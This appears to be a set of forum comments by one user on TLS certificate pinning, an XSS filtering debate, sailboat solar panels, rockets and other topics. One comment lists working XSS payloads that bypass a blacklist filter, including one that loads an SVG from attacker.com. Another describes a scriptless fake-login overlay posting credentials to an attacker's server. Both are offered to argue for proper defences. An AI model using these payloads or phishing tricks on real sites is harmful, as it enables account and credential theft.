Well, you can pre-pin a cert (Google does this with their own properties, for example, and as of Firefox 32, Firefox does it for Mozilla stuff and I think some Google stuff). You can also always manually check a certificate's fingerprint before you send any data over it. That leaves the question of what you check it against, of course, but that's the whole key distribution problem; at some level you have to have a trusted source of key identity.

I really do wish there was more support for TOFU (Trust On First Use) in browsers today, though. For example, I *can* explicitly trust a self-signed certificate for example.com. However, if I later get a different cert for example.com, my browser will simply evaluate it the way it would evaluate any cert (for example, if it's signed by a Chinese government-controlled CA, the browser will trust it unless I've removed trust for that CA). None of the major browsers will stop and say "Hey, that is *NOT* the cert I expect for this site!" the way SSH (or Remote Desktop, for that matter, which also uses TOFU) will. This greatly irks me. Certificates don't change that often, and most of the time it's just an update to the expiration date or adding a new subdomain or something else innocuous like that. Even a change to the public key isn't that big a concern, especially if the old key is revoked; people rotate keys sometimes as a matter of good practice. But a change to the CA, or a change to a pinned leaf node (where I basically said "this shouldn't change"), ought to raise warning flags.

Um... I hate to rain on your Mozilla parade here, but Chrome has full certificate pinning for Google properties, and has had it for quite a few versions now. Using any unexpected cert, no matter how trusted, for a Google property (or the handful of others that Chrome supports) will be detected and blocked. Mozilla has certificate pinning now as well, but only since version 32 (which is what, a month ago?). If the organization in question wanted to MitM Firefox's traffic as well as Chrome's, they would (until recently) have found it much easier to do on Firefox than on Chrome.

Sigh... I can't tell if you're arguing this because you don't understand the English language, of if you're just trolling.

If somebody has to "be presenting their own" certificate, then they are NOT PASSIVE!! A passive network attacker is, for example, somebody sitting at a coffee shop with the WiFi card in promiscuous mode, watching all the traffic that gets sent over that (open) network. In that position, the attacker cannot do a damn thing about a self-signed cert. Now, if they are able to use ARP spoofing or DNS hijacking or can configure the router's upstream host or something like that, then they can intercept traffic and present their own certificate, sure. That requires an *active* attack, though.

The reason that passive attacks are so concerning right now is that it's pretty trivial for ISPs and governments to record all network traffic that they want to. It just costs money for storage and storage bandwidth. However, they aren't actively intercepting that traffic, just passively recording it for later data mining. TLS, even using anonymous Diffie-Hellman or a self-signed certificate, is sufficient to completely defeat that kind of monitoring.

You're basically arguing that since an armored car can't tae a hit from the cannon of a main battle tank, there's no point in armoring them at all and it would be better for them to go unarmored so as not to lure people into a false sense of security. Turns out that's bullshit: the typical threat to people moving valuables is from small arms (which an armored car can shrug off just fine), and the typical threat to browser privacy is from pervasive passive monitoring, which self-signed certs defeat. Not that I would ever argue that it's better to have a self-signed cert than a CA-signed one, but it's not as *much* worse as you seem to think.

Besides, there's things you can do to make a self-signed cert even more secure. For example, you (the user) can add *just that cert* to your trust store. Now, if an attacker tries to substitute their *own* self-signed cert, your browser should object, or at least won't show the site as truly secured. For applications (including a few browsers) that support certificate pinning, this can also be used with self-signed certs in a trust-on-first-use basis (take a look at, for example, HTTP Public Key Pinning).

Konqueror is still pretty decent. These days it generally uses WebKit (which was built from Konqueror's KHTML engine originally). I like its interface and generally high utility.

Aside from being in the package repose for pretty much all desktop Linux and BSD variants, it's also available for Windows. Haven't checked for Mac, but it's probably available there too.

Assuming it's like my Yoga 2 Pro, which seems likely, you can toggle the default behavior of those keys from special-function mode to F-key mode (hold Fn to reverse that, of course). It's in the BIOS/UEFI setup, same place it has been on the last ~5 years (maybe longer?) of Lenovo hardware

Stupid and kludgey hack, but is it possible to solve this, at least to a degree, with Wine? Running either the Windows version of Flashplayer (in something like nspluginwrapper; I think I remember hearing about a way to do this though I never tried it) in a Linux browser, or running a full Windows browser (can Wine do that these days?) seems like it solves the problem. It introduces at least one problem, too, of course... but at least you *can* install updates instead of pinning to a version that will only get more outdated...

it's a near impossibility to site a solar panel on a sailboat that is entirely shade free for the entire length of the day

That's probably true of a reasonably-sized monohull, but Ocelot is a cat. Setup is 4x 120W Kyocera panels out over the dinghy davits (we have a lot of room back there and it doubles as a shade for the rear of the cockpit). You can read a bit more about them here (photos are outdated in general but we haven't modified the array since they were taken): http://svocelot.com/Ocelot/mod...

Having the panels so far aft and so high provided some protection from salt spray (enough that they don't need cleaning after any but the roughest passages, the kind where the whole boat needs a good rain rinse) and also kept them out of the line of most of our shadows. If the sun sets or rises directly in line with the panels and mast, then yes, we'll lose that panel, but this can often be remedied by running the boom out to one side (tied down with the jibe preventer) and letting the (relatively huge) sail protector swing the boat a few degrees away from pointing dead into the wind. By anywhere close to the hours when the sun is at full power, even our slightly-raked mast just isn't far enough back to shade the panels. (As a side note, it occurs to me that this may explain why the ramp up to full power took longer in the morning than evening; if the easterly winds meant the panels were occasionally shaded in the early morning, we'd only have 3/4 the nominal power production for that much insolation.)

As for angle, that definitely cost us some power - our panels are very much immobile, aside from changing the orientation of the entire boat - but I'm not actually sure how much. Even at 60 degrees off apex, which is pretty late in the day (assuming you're right under the sun's path, within +/- 60 degrees is 1/3 of the day, or 8 hours), you still get 50% of the insolation you would get at apex, atmospheric losses aside. That's certainly significant losses, and it drops off sharply after that, but the middle hours of the day are not severely affected.

By the way, nice site! I'll have to ask my folks if they ever ran into Animation coming up the Aus coast. Alternatively, do you know S/V Vamp? Good friends of ours. I'm sorry you posted as AC but I may ping you by email.

<img src="xss" onerror="alert('Nope!')" />
<iframe src="javascript:alert('That won't work.')"></iframe>
<object data="http://attacker.com/SvgCanContainScriptsAndCanUseTheParentObjectToAttackTheHostingPage.svg"></object>
<scri<scriptpt>alert("In fact, that kind of blacklisting is trivial to bypass.");</script>
<form action="javascript:alert('I once spent a month breaking a client's blacklist every time they updated it to block my last POC exploit, telling them all the while they had to use output encoding.');"><input type="submit" value="SPOILER" /></form>
<h1 onmouseover="alert('They eventually did, but oh man did they waste a lot of time trying variants on your suggestion first!')">REALLY BIG TEXT THAT YOUR MOUSE WILL GO OVER</h1>

People thinking like you do frequently leads to exactly this sort of problem, where something *supposedly* has XSS protection but in fact totally doesn't. With the possible exception of the nested script tags (if you're smart enough to run the filter repeatedly until no further hits occur, that'll be caught), every single one of these lines will execute arbitrary attacker-controlled JavaScript through the filter that you propose. I strongly recommend that you go read OWASP, especially the top 10, and in the meantime I hope you haven't written any in-production web applications...

Content Security Policy (as you link) is indeed a "better" solution, in the technical sense; it's fine-grained, supports reporting, doesn't require servers to generate the random "hard_to_guess_string" needed to unlock the block, and (possibly most important) doesn't introduce a new un-XML-like construct into HTML. On the other hand, it tends to be more complicated to use it in real-world web applications, and it's so broad that a lot of browsers have either no support for it or have serious bugs in their support (did you know SVG can contain scripts, and sometimes CSP rules aren't applied properly there?).

Sandboxed iframes are simpler and basically do what you're asking for, except that the content is loaded from an external source or by writing it into the framed document (if same-origin); no need to worry about an attacker terminating the sandbox with a </iframe> tag because the sandboxed content isn't inline with the iframe itself. On the other hand, given how few people actually use them (despite pretty good browser support), the problem may be more a matter of web devs being bad at security than of web devs not having good security tools. Of course, we knew that already...

With all that said, I feel compelled to point out that *just* blocking XSS isn't enough anyhow. Without using a single scripted behavior (just HTML and some simple CSS) I can do things like create a lightbox that contains an HTML form saying "Your login session has expired. To ensure the security of your account, please log in again." with a username/password box, all themed accordingly with the site I'm attacking. Of course, the form POSTs to a web server that I (the attacker) control, but you don't know that. There's many other types of things you can do with the same restrictions. It's not enough to block scripts and plugins, you also have to prevent the attacker from simply taking over the page with their own content by layering it on top of the Z-order.

Source? Given the extreme cost of any wasted launch mass, I can't imagine they would operate every launch armed. That they have experimented with arming the capsules would be no surprise - I'd be shocked if they hadn't experimented with arming *some* of their spacecraft, even if only unmanned satellites - and they might even have launched armed craft, but I sincerely doubt they've done so on *every* launch.

Not sure if serious, so I'll respond as if you are: nuclear waste does not "explode". The reason it's "waste" is because it no longer is even capable of maintaining a barely critical chain reaction in a moderated reactor core (neutron moderation - slowing them down to the point that they can be captured by other nuclei - is an important part of reactor operation). By itself, it's hot (decay heat) and radioactive (most of the half-lives are really long, so it doesn't actually release a ton of radiation per unit time but it will keep doing it for a long time), but that's about it. Now, it could be reprocessed to remove the low-grade stuff and refine out the actually really useful material. Only about 3% of the potential energy gets extracted from fuel in modern reactors before it drops to the point of being unable to maintain criticality, but with enough work you can purify it and make it usable again. You could, in fact, purify it even more to the point where it will go supercritical *without* a reactor core's moderation - this is one way to make bomb-grade material - but that's difficult, expensive, and never going to happen naturally.

Oh, that's hardly true. As a random example, SpaceX's Merlin rockets (currently on their 4th revision, not counting the difference between atmospheric and vacuum variants) have the highest thrust-to-weight ratio of any production rocket engine, and they are a very recent design. The Space Shuttle Main Engines have a significantly higher specific impulse (thust*time per mass of fuel) but the fuel (hydrogen) is so low-density that you need a ton of it to get anywhere, and volume has its own costs (especially in atmosphere). The SSMEs also went through a number of revisions that increased their power and efficiency.

On the other hand, just because SpaceX is busy pushing the bounds of chemical rockets does not, by any means, mean we shouldn't be researching alternate thrust systems... and we are! Not as enthusiastically as I'd like to see, but it's happening. There's research into high-efficiency space drives, alternate launch systems, and even some research into drives which have the capability to make interstellar flight potentially feasible. None of these are close to production, and some of them (especially the ones involving nuclear-powered drives) have been mothballed for years or decades, but even if the test apparatus (for those projects which got so far) no longer exist, the designs and theories and mathematics do, and rocket scientists can and do continue building on those. I'd really like to see practical research start up again on these: http://en.wikipedia.org/wiki/N..., such as this project (which was building and testing actual hardware!) from the 70s: http://en.wikipedia.org/wiki/N...

Do you have any basis for this "hard time believing" or are you just going to ignore evidence in favor of your prejudices?

Don't get me wrong, I was *surprised* by the finding; I live in Seattle, and there are a large population of minorities (blacks, Native Americans, and Hispanics are still very rare in tech, but Indians and various Chinese/Korean/I-can't-tell-by-looking Asian ethnicities are common and I would have guessed they are becoming more common). On the other hand, the rents *are* going up - significantly faster than inflation, in most parts of the city - and that will tend to drive the not-in-tech ethnicities out because they can't command salaries commensurate with the rising cost of living. Seattle has plenty of suburbs (though our relatively awful public transit system means commuting from the suburbs is either very slow or requires a car) and it's not at all inconceivable that the city itself is getting whiter.

Speaking as a cis het white male from a family of above-median income, *you* appear to be (at a minimum) overreacting to the whole "white male guilt" meme, accusing people of "throwing race into the mix" and "stok[ing]" guilt even when citing simple facts. I guess if those facts don't agree with your prejudices then they must be the work of people out to make you feel guilty? Sucks to be you, I guess...

Also, of all the things to critique this study for, you chose them reporting the racial shift? There are far more valid critiques available.

Citation on the "legalized drugs" causing a problem? It's not like weed was hard to get before, you just had to buy it from criminals and were a criminal yourself for doing so. Now that this is no longer true, people have less, not more, incentive to commit crimes.

Outlawed firearms: you don't live anywhere near WA, do you? The state rate of concealed carry is quite high, especially for a "blue" state. People raise a fuss about it sometimes, but overall there's still a good number of guns around.

This makes me wonder how well battery-optimized Sailfish is (and its apps are). I never owned an N900 or N9, or used one for long enough to get a really good feel for the battery life, but even when new, the N800 could not last even the waking hours of a day. That's assuming I used it similar to how I use the smartphone I got a couple years later (which would last well into a second day, and which - unlike the N800 - has a cellular radio chip).

Anyhow, my point is that most Maemo (N800 OS) apps were really poorly optimized for battery life - not surprisingly, all things considered - and the multitasking model of the OS just compounded the problem unless you were obsessive about closing stuff that you didn't need to have in the background. So, when I hear that a new tablet based on a descendant of Maemo has 2/3 the battery capacity of its competitors, I get concerned. There are mobile OSes that could probably get by with capacity like that, but Maemo was emphatically not one of them. On the other hand, six years is a long time; maybe they've fixed all that now and Sailfish *is* one of the more efficient OSes. If it has true, "desktop-style" multitasking, though, I doubt it.